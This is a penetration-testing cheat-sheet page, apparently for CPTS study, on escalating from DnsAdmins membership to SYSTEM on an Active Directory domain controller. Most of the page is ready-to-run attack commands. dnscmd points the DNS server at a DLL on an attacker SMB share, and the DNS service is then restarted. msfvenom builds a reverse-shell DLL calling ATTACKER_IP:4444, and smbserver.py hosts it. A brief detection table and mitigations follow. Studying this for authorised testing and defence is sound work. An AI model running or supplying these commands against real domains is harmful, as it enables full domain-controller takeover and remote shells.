AD^:Active Directory

Attack #46 — DNSAdmins DLL Injection

Members of the DnsAdmins group can configure the DNS service to load an arbitrary DLL via the ServerLevelPluginDll registry key. Since the DNS service…

advancedupdated 2026-08-10PowerShell

🟣 Attack #46 — DNSAdmins DLL Injection


📖 How It Works

Members of the DnsAdmins group can configure the DNS service to load an arbitrary DLL via the ServerLevelPluginDll registry key. Since the DNS service runs as SYSTEM on Domain Controllers, loading a malicious DLL grants SYSTEM-level code execution on the DC.


⚙️ Prerequisites

RequirementDetail
Membership in DnsAdmins groupOr equivalent permission to configure DNS
DNS service on DCStandard — runs on DCs by default
SMB share hosting DLLDLL must be accessible from DC

💻 Full Commands

# ── Check group membership ────────────────────────────────────────────────────
net user low_user /domain | findstr /i "dnsadmins"

# ── Set malicious DLL plugin ──────────────────────────────────────────────────
dnscmd DC01.corp.local /config /serverlevelplugindll \\ATTACKER\share\evil.dll

# ── Restart DNS service (requires restart to load DLL) ────────────────────────
sc \\DC01.corp.local stop dns
sc \\DC01.corp.local start dns
# DLL executes as SYSTEM on DC01

# ── Cleanup — remove the plugin DLL config ────────────────────────────────────
dnscmd DC01.corp.local /config /serverlevelplugindll ""
# ── Generate reverse shell DLL ────────────────────────────────────────────────
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
  -f dll -o evil.dll

# ── Host on SMB share ─────────────────────────────────────────────────────────
smbserver.py share /path/to/dll/ -smb2support

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
770DNS Server LogDNS plugin DLL loaded
7045System LogDNS service restart
4688Security Logdnscmd.exe execution with ServerLevelPluginDll argument

🔗 Attack Chain Context

[DNSAdmins] ──→ DLL Injection → SYSTEM on DC
         │
         ├──→ 🔗 DnsAdmins membership → SYSTEM on DC → DCSync
         ├──→ ⚠️ Requires DNS service restart — may cause brief DNS outage
         └──→ 💀 Defeated by: audit DnsAdmins membership, monitor dnscmd usage

✅ Attack #46 — DNSAdmins complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.